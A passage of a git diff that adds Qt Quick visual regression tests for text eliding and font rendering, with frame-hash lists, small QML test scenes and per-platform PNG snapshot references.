+ Frame {
+ msec: 2640
+ hash: "9cf4b339914e48f896dda17e08759472"
+ }
+ Frame {
+ msec: 2656
+ hash: "3f5568ac7a4386f1d5072f1cda0c35b8"
+ }
+ Frame {
+ msec: 2672
+ hash: "107edbf8181f79cd7847d0154b6eda11"
+ }
+ Frame {
+ msec: 2688
+ hash: "9254497b95b89a7d40903edb04a3764a"
+ }
+ Frame {
+ msec: 2704
+ hash: "7e7d25a2ee3fbfd67a3b8fecb9fe9202"
+ }
+ Frame {
+ msec: 2720
+ hash: "03759f59bbd2be573acd6c03eb088edd"
+ }
+ Frame {
+ msec: 2736
+ hash: "58689762be6c7d3d6de6f23580ec8886"
+ }
+ Frame {
+ msec: 2752
+ hash: "0d4e315f9b079a30e6a4294a667f9ebc"
+ }
+ Frame {
+ msec: 2768
+ hash: "3f3dfa1c8d160238dae2da79a6a569f3"
+ }
+ Frame {
+ msec: 2784
+ hash: "b3cd7c3034e2a34c4ae9ed7f3144b2cc"
+ }
+ Frame {
+ msec: 2800
+ hash: "c27d3a9057d1f15c6e0b2d427ac12ad2"
+ }
+ Frame {
+ msec: 2816
+ hash: "9b25ab315d9bfc582e41c05e88812cbe"
+ }
+ Frame {
+ msec: 2832
+ hash: "e75671bfb99741dcff476690ede42166"
+ }
+ Frame {
+ msec: 2848
+ hash: "7dd3307fb41277ebcc4339cdb7747d7c"
+ }
+ Frame {
+ msec: 2864
+ hash: "a148bce140f1637e27ae5f0207b75351"
+ }
+ Frame {
+ msec: 2880
+ hash: "64e57a31c1baa16bcf47f2202fd6e2ed"
+ }
+ Frame {
+ msec: 2896
+ image: "multilength.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "83381c54b1923356c403cad2ae2c3519"
+ }
+ Frame {
+ msec: 2928
+ hash: "e110f28619c2ec7c1c8d479793b93e54"
+ }
+ Frame {
+ msec: 2944
+ hash: "996a9a698f1a7c673eeef67501d7b81b"
+ }
+ Frame {
+ msec: 2960
+ hash: "6cf2465c8b7c70343a26e981e6492212"
+ }
+ Frame {
+ msec: 2976
+ hash: "3a9078adf3d4ca207c97b62ad525998f"
+ }
+ Frame {
+ msec: 2992
+ hash: "0bf0d9a6a202119daa6a44f17d03b9ed"
+ }
+ Frame {
+ msec: 3008
+ hash: "6dfadc21810c9176dad599a6f7f672b9"
+ }
+ Frame {
+ msec: 3024
+ hash: "f1f866c6245bd6fd8141abfb8a040d46"
+ }
+ Frame {
+ msec: 3040
+ hash: "84329287c7555bc6207039ea632632b2"
+ }
+ Frame {
+ msec: 3056
+ hash: "da7e80527f58c93bce9267958ce4c5d7"
+ }
+ Frame {
+ msec: 3072
+ hash: "cd8eea7543ebc42971b3f41ea21dd4ed"
+ }
+ Frame {
+ msec: 3088
+ hash: "b9abb526dc3447370d847a5bca868b50"
+ }
+ Frame {
+ msec: 3104
+ hash: "b8d63ac8331a9375ca06adacb56d12ea"
+ }
+ Frame {
+ msec: 3120
+ hash: "20fcdd73a4cc2abebbc462c32fb9b2c8"
+ }
+ Frame {
+ msec: 3136
+ hash: "3f656f80771828ee6696a2e0a0626ae4"
+ }
+ Frame {
+ msec: 3152
+ hash: "0d99110edca4f8ec544d10d680d27092"
+ }
+ Frame {
+ msec: 3168
+ hash: "48026f803bd17f56d13dd946fb359e3a"
+ }
+ Frame {
+ msec: 3184
+ hash: "40759d794139327e2e66685c9fcb047b"
+ }
+ Frame {
+ msec: 3200
+ hash: "419953a3f882008e82bd733e63e66ab6"
+ }
+ Frame {
+ msec: 3216
+ hash: "ddcd288b0a825ef6899755fbad56f2dd"
+ }
+ Frame {
+ msec: 3232
+ hash: "bc203d9f0f32efdd177353b9589bd127"
+ }
+ Frame {
+ msec: 3248
+ hash: "a4ae6c449b53545a683cd33bc9274d59"
+ }
+ Frame {
+ msec: 3264
+ hash: "59e7c218b5a1b857469972f966489a43"
+ }
+ Frame {
+ msec: 3280
+ hash: "521fc5833ab0e3088200e1fea9a887b0"
+ }
+ Frame {
+ msec: 3296
+ hash: "bd2386f85afb7516d147bff4c07e239f"
+ }
+ Frame {
+ msec: 3312
+ hash: "5298fdee07ff2ff34121f064fed3db4e"
+ }
+ Frame {
+ msec: 3328
+ hash: "311a8f163cebf7bafcb47c8e6db40ed1"
+ }
+ Frame {
+ msec: 3344
+ hash: "ad6342bed57257a1616a74e19f2bb484"
+ }
+ Frame {
+ msec: 3360
+ hash: "4eb186c5f4963dc72b3dbc3a9da4df65"
+ }
+ Frame {
+ msec: 3376
+ hash: "58f1f128001dd1ce0d405595acbaab2a"
+ }
+ Frame {
+ msec: 3392
+ hash: "ba4a39b66cac22fceba9c4ecfdbae363"
+ }
+ Frame {
+ msec: 3408
+ hash: "bbfde54a4de637bc1c54248e2e342544"
+ }
+ Frame {
+ msec: 3424
+ hash: "ddc3b4e87782e0472630e2f9f8a57099"
+ }
+ Frame {
+ msec: 3440
+ hash: "1bf1212686520da772fc18ca7684a924"
+ }
+ Frame {
+ msec: 3456
+ hash: "706ec5a3b48123d3b5113d55b71f7968"
+ }
+ Frame {
+ msec: 3472
+ hash: "62b08db0c3c4f1313bcf4a1e7b90badb"
+ }
+ Frame {
+ msec: 3488
+ hash: "ae8409fed9d8919b1af2b4d0eafce670"
+ }
+ Frame {
+ msec: 3504
+ hash: "9f6ed6ada78e42f06f33514e363c736f"
+ }
+ Frame {
+ msec: 3520
+ hash: "97e9a504c2c4ba5329a616810fc19505"
+ }
+ Frame {
+ msec: 3536
+ hash: "348b6d15b8ef6862818b4fbdb938f241"
+ }
+ Frame {
+ msec: 3552
+ hash: "c1845df466f5690a8d7a439d33a27f7d"
+ }
+ Frame {
+ msec: 3568
+ hash: "aee2486331275b9f4116b61588ce169e"
+ }
+ Frame {
+ msec: 3584
+ hash: "efca3eaffa3421d68d788ee3f0ec068c"
+ }
+ Frame {
+ msec: 3600
+ hash: "35f2940b51ed8c4734c23a43bf6fe448"
+ }
+ Frame {
+ msec: 3616
+ hash: "92b7d34480b7fab4dd39bbccfa8455a5"
+ }
+ Frame {
+ msec: 3632
+ hash: "4408049f405ecf5c3c696780390e2155"
+ }
+ Frame {
+ msec: 3648
+ hash: "29aa30678d5c87c79ac67198e4dd7bd4"
+ }
+ Frame {
+ msec: 3664
+ hash: "2f88ac156017b20795f01716d9e9f2e8"
+ }
+ Frame {
+ msec: 3680
+ hash: "4d72dec4a2e8edcff806c11f3742cf07"
+ }
+ Frame {
+ msec: 3696
+ hash: "3f5ebad282a4aa9c03a17d32aea03151"
+ }
+ Frame {
+ msec: 3712
+ hash: "a8d289d15353d45159607377de285732"
+ }
+ Frame {
+ msec: 3728
+ hash: "af2d2fcfa4510e0d26ea90fc7711b0cf"
+ }
+ Frame {
+ msec: 3744
+ hash: "aed6897bc8b2163822a052e1cc9ad36b"
+ }
+ Frame {
+ msec: 3760
+ hash: "bf7077614b5045f79c8697bab1e83839"
+ }
+ Frame {
+ msec: 3776
+ hash: "e5c8c0bf1fce3a964f4bb911ffee0bdb"
+ }
+ Frame {
+ msec: 3792
+ hash: "bcfe4aebc880809f56d480f23b17dfd1"
+ }
+ Frame {
+ msec: 3808
+ hash: "2ce342f7864ab26124093edc88585c97"
+ }
+ Frame {
+ msec: 3824
+ hash: "8be15d95125e03a0282e897096abb443"
+ }
+ Frame {
+ msec: 3840
+ hash: "a4486f30becceca3ec3cc5c8718af82a"
+ }
+ Frame {
+ msec: 3856
+ image: "multilength.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "38de7ed0d05015f9b06a4bb278fc96c1"
+ }
+ Frame {
+ msec: 3888
+ hash: "1cd9a38bb1fc8b06d5c05cd28719d4b3"
+ }
+ Frame {
+ msec: 3904
+ hash: "682ba6e2eb83ce1b6bf8526b21cf2694"
+ }
+ Frame {
+ msec: 3920
+ hash: "3da075fccb3d26f30530a69f86d999a8"
+ }
+ Frame {
+ msec: 3936
+ hash: "b0fb39798dfa94d0898e5e0d7afd1277"
+ }
+ Frame {
+ msec: 3952
+ hash: "7e41bbe233d6bc7354ba4516edec4841"
+ }
+ Frame {
+ msec: 3968
+ hash: "1d3f24f20ba123940d97f09949cfcc0f"
+ }
+ Frame {
+ msec: 3984
+ hash: "abc7a82d91e28c5a3ee9ffd663c8c7bd"
+ }
+ Frame {
+ msec: 4000
+ hash: "e685c0218a3d80584013806707693eb0"
+ }
+ Frame {
+ msec: 4016
+ hash: "6ff98dc7eb0453f058a5d4cadf86ddf4"
+ }
+ Frame {
+ msec: 4032
+ hash: "5a3d0c2c95cb85678f32a8b68dc8d399"
+ }
+ Frame {
+ msec: 4048
+ hash: "d5bde2f063d524ac0e7bcef26d543668"
+ }
+ Frame {
+ msec: 4064
+ hash: "64e7bc5e0798ecd009fd05cbc1523977"
+ }
+ Frame {
+ msec: 4080
+ hash: "3c87a9ee92661da2aacc09b71dd393ca"
+ }
+ Frame {
+ msec: 4096
+ hash: "bf4806e0e8cb73cded37ca97966078d7"
+ }
+ Frame {
+ msec: 4112
+ hash: "a5956031dac15dba64bf49c9d308c9c7"
+ }
+ Frame {
+ msec: 4128
+ hash: "51395284acf731266eaed86387ad768a"
+ }
+ Frame {
+ msec: 4144
+ hash: "489ab28b773d48b8fdf9cf674b1da87f"
+ }
+ Frame {
+ msec: 4160
+ hash: "4c6a5b7442a4ff241329157657b8c9f7"
+ }
+ Frame {
+ msec: 4176
+ hash: "629faa780676c705ca8349b8765ed38b"
+ }
+ Frame {
+ msec: 4192
+ hash: "28654cb8801bea906a4f181004ed0e85"
+ }
+ Frame {
+ msec: 4208
+ hash: "2abf774ccf33e6d0af4a8c4154e2ab2a"
+ }
+ Frame {
+ msec: 4224
+ hash: "f1cbdf35081b08b676d1661834829c9a"
+ }
+ Frame {
+ msec: 4240
+ hash: "a49ef4ec40d59be1e872c6f8bcdbbb4c"
+ }
+ Frame {
+ msec: 4256
+ hash: "dab02c8afd3914177bfdf29e68b54291"
+ }
+ Frame {
+ msec: 4272
+ hash: "7bdca9571a346117277b0de6fa1f6e5e"
+ }
+ Frame {
+ msec: 4288
+ hash: "11dc19768b1a4a787f46082a583c068c"
+ }
+ Frame {
+ msec: 4304
+ hash: "5e72d13702108d55d650a01c1caf2cfb"
+ }
+ Frame {
+ msec: 4320
+ hash: "e5a379841ae54f07d54c4baa78fa7b69"
+ }
+ Frame {
+ msec: 4336
+ hash: "88d2363709d377cad251dc956b0ff866"
+ }
+ Frame {
+ msec: 4352
+ hash: "5e6db7322e69f41d37efdd35a769df4e"
+ }
+ Frame {
+ msec: 4368
+ hash: "cc781d136bb48a1a41bd9243327bacc3"
+ }
+ Frame {
+ msec: 4384
+ hash: "69612d6379a204fa1e1c6d7b58f78370"
+ }
+ Frame {
+ msec: 4400
+ hash: "a81c15225bc81a19e22375532a5457ab"
+ }
+ Frame {
+ msec: 4416
+ hash: "a97bb0ac528a1377ef8f6bf655795b69"
+ }
+ Frame {
+ msec: 4432
+ hash: "7fa6d66219c66ae8aec43e44626b427a"
+ }
+ Frame {
+ msec: 4448
+ hash: "99f47bc80b706692f16c6c5fa3c0c85d"
+ }
+ Frame {
+ msec: 4464
+ hash: "55d6cf7f545c74ed59a8bf040f9d5d58"
+ }
+ Frame {
+ msec: 4480
+ hash: "1a07d14fa7866c5268e622d0925cbf4d"
+ }
+ Frame {
+ msec: 4496
+ hash: "a41b281563c401d0e4ff55f4a3c45e18"
+ }
+ Frame {
+ msec: 4512
+ hash: "6bff67c2f53a4e620c63eea539f4abe0"
+ }
+ Frame {
+ msec: 4528
+ hash: "a5f06e5ff2fd7f390279f7df822c8297"
+ }
+ Frame {
+ msec: 4544
+ hash: "213b174770c13105b89a1d88cd2f0b7c"
+ }
+ Frame {
+ msec: 4560
+ hash: "dde34ca92317a54ddaa2f9bff515d91c"
+ }
+ Frame {
+ msec: 4576
+ hash: "12446cca2aae19fd721cda11bbb51bae"
+ }
+ Frame {
+ msec: 4592
+ hash: "f4d00502cab0a843563fcfd336b74596"
+ }
+ Frame {
+ msec: 4608
+ hash: "b6ae2b396adf6068ef3a6027e4b175db"
+ }
+ Frame {
+ msec: 4624
+ hash: "370dabffdfc0bebf5d25abfaefff399c"
+ }
+ Frame {
+ msec: 4640
+ hash: "fd496e8c03f85a872bd5ee6e8a85db7f"
+ }
+ Frame {
+ msec: 4656
+ hash: "0999335427d63f318e166ea8662c4c22"
+ }
+ Frame {
+ msec: 4672
+ hash: "5a4eb9267cd35a71f6c2daaca1a582be"
+ }
+ Frame {
+ msec: 4688
+ hash: "4270d7a26d56f1d805b647c5ec7cc6ce"
+ }
+ Frame {
+ msec: 4704
+ hash: "334f1e3c8520196016352bf4d00fbc18"
+ }
+ Frame {
+ msec: 4720
+ hash: "2bf704e85c197c776a188927a80deaad"
+ }
+ Frame {
+ msec: 4736
+ hash: "e2c5c42e55dc185977bd5049eb4bd3d2"
+ }
+ Frame {
+ msec: 4752
+ hash: "7ead4353fdc135d6b959be0ce22955e3"
+ }
+ Frame {
+ msec: 4768
+ hash: "ab42998e1e17ac8637d76dc0cf356c7a"
+ }
+ Frame {
+ msec: 4784
+ hash: "030f34f8caf0814eaaf18ea5fda669dd"
+ }
+ Frame {
+ msec: 4800
+ hash: "6e12a04ac25553142875a10a5c8e46e8"
+ }
+ Frame {
+ msec: 4816
+ image: "multilength.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "e2f2ab9a3fe6a3a375341010c91017bd"
+ }
+ Frame {
+ msec: 4848
+ hash: "9301889debd3932772a1c81314eb1ef2"
+ }
+ Frame {
+ msec: 4864
+ hash: "671feec6eb1166c612a22405db9c044e"
+ }
+ Frame {
+ msec: 4880
+ hash: "648215ffa5448dc173165d24389c014e"
+ }
+ Frame {
+ msec: 4896
+ hash: "a70806b54806f29d0e240cd63d86b77e"
+ }
+ Frame {
+ msec: 4912
+ hash: "4bf9ffe611c52c21fbdb84221d3d4dba"
+ }
+ Frame {
+ msec: 4928
+ hash: "ae78202b0ebd4c13a92d468a7470bdc9"
+ }
+ Frame {
+ msec: 4944
+ hash: "fb0c3d6c3e3479abb6a1b44b1a5f3785"
+ }
+ Frame {
+ msec: 4960
+ hash: "48906c21e17479807f736d7f7713f6b0"
+ }
+ Frame {
+ msec: 4976
+ hash: "a661a461542b3078dd1dad25bf6d8414"
+ }
+ Frame {
+ msec: 4992
+ hash: "387deb0df0c59cfb120313946c4e5c9a"
+ }
+ Frame {
+ msec: 5008
+ hash: "f2473c6e4877f3035f0b511ff2d27684"
+ }
+ Frame {
+ msec: 5024
+ hash: "f88d3767ccd773930ef9d99dfd0e8c17"
+ }
+ Frame {
+ msec: 5040
+ hash: "aef8a93d2caafec839d425184176bcc7"
+ }
+ Frame {
+ msec: 5056
+ hash: "e73c4521144b2c810f15239e6d8fa468"
+ }
+ Frame {
+ msec: 5072
+ hash: "a66856750cc5aa7a21ffb6e0a9c94306"
+ }
+ Frame {
+ msec: 5088
+ hash: "22bce57e360790c356564a0568ec3bee"
+ }
+ Frame {
+ msec: 5104
+ hash: "55edcaeed37c1390eee2619d52a2eb03"
+ }
+ Frame {
+ msec: 5120
+ hash: "51d8495324954f1bd62caa67d15e9ab2"
+ }
+ Frame {
+ msec: 5136
+ hash: "bfcbba7e970af922ee87fbbe936eaa84"
+ }
+ Frame {
+ msec: 5152
+ hash: "a7652fe427ca7b8ef37dbf9a6097f8af"
+ }
+ Frame {
+ msec: 5168
+ hash: "d5ab00fc274a7fd568af514c55f24e04"
+ }
+ Frame {
+ msec: 5184
+ hash: "71fd1fe13a14632ff54ad7a87be68bca"
+ }
+ Frame {
+ msec: 5200
+ hash: "761f9b41ce4136619f89c73746ab176e"
+ }
+ Frame {
+ msec: 5216
+ hash: "cfd826f91f6f880816d505c93a8f125a"
+ }
+ Frame {
+ msec: 5232
+ hash: "33fbc77640cc73c17a0f68db5f70ddec"
+ }
+ Frame {
+ msec: 5248
+ hash: "ef925f6709f7603d8acddbbe3e3b0426"
+ }
+ Frame {
+ msec: 5264
+ hash: "044c1f37e37a68fbfbb9ddbc2da4300a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml
new file mode 100644
index 00000000..e52c6093
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml
@@ -0,0 +1,32 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+ Column {
+ width: 80
+ height: myText.height*4
+ TestText {
+ elide: "ElideLeft"
+ text: "aaa bbb ccc ddd eee fff"
+ width: 80
+ id: myText
+ }
+ TestText {
+ elide: "ElideMiddle"
+ text: "aaa bbb ccc ddd eee fff"
+ width: 80
+ }
+ TestText {
+ elide: "ElideRight"
+ text: "aaa bbb ccc ddd eee fff"
+ width: 80
+ }
+ TestText {
+ elide: "ElideNone"
+ text: "aaa bbb ccc ddd eee fff"
+ width: 80
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml
new file mode 100644
index 00000000..0370a73b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: 500
+ height: 100
+
+ TestText {
+ NumberAnimation on width { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 }
+ elide: Text.ElideRight
+ text: 'Here is some very long text that we should truncate when sizing window'
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml
new file mode 100644
index 00000000..db991a2d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: 500
+ height: 50
+ color: "lightBlue"
+ Rectangle {
+ width: myText.width
+ height: myText.height
+ color: "white"
+ anchors.centerIn: parent
+ TestText {
+ id: myText
+ NumberAnimation on width { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 }
+ elide: "ElideRight"
+ text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/BorderedText.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/BorderedText.qml
new file mode 100644
index 00000000..fe4e2e70
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/BorderedText.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+TestText {
+ property color bcolor: "blue"
+ font.pixelSize: 10
+ text: "The quick brown fox\njumps over\nthe lazy dog."
+ Rectangle { id: border; color: "transparent"; border.color: bcolor; anchors.fill: parent; opacity: 0.2 }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png
new file mode 100644
index 00000000..cfa61a9a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml
new file mode 100644
index 00000000..fdf23106
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.0.png
new file mode 100644
index 00000000..e47b4795
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.qml
new file mode 100644
index 00000000..f6cddc43
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.0.png
new file mode 100644
index 00000000..0d3c6728
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.qml
new file mode 100644
index 00000000..13f413a1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext3.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png
new file mode 100644
index 00000000..76e5b9f8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml
new file mode 100644
index 00000000..3da391dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.0.png
new file mode 100644
index 00000000..bb65aded
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.qml
new file mode 100644
index 00000000..afae3f89
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.0.png
new file mode 100644
index 00000000..56d98ff0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.qml
new file mode 100644
index 00000000..fdf23106
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.0.png
new file mode 100644
index 00000000..1ab1eb5b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.qml
new file mode 100644
index 00000000..f6cddc43
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.0.png
new file mode 100644
index 00000000..04e0f5e8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.qml
new file mode 100644
index 00000000..13f413a1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext3.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.0.png
new file mode 100644
index 00000000..68921f65
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.qml
new file mode 100644
index 00000000..3da391dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.0.png
new file mode 100644
index 00000000..c9450c7c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.qml
new file mode 100644
index 00000000..afae3f89
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png
new file mode 100644
index 00000000..89195ae7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml
new file mode 100644
index 00000000..fdf23106
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.0.png
new file mode 100644
index 00000000..0574f63f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.qml
new file mode 100644
index 00000000..f6cddc43
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.0.png
new file mode 100644
index 00000000..0d3c6728
--- /dev/null
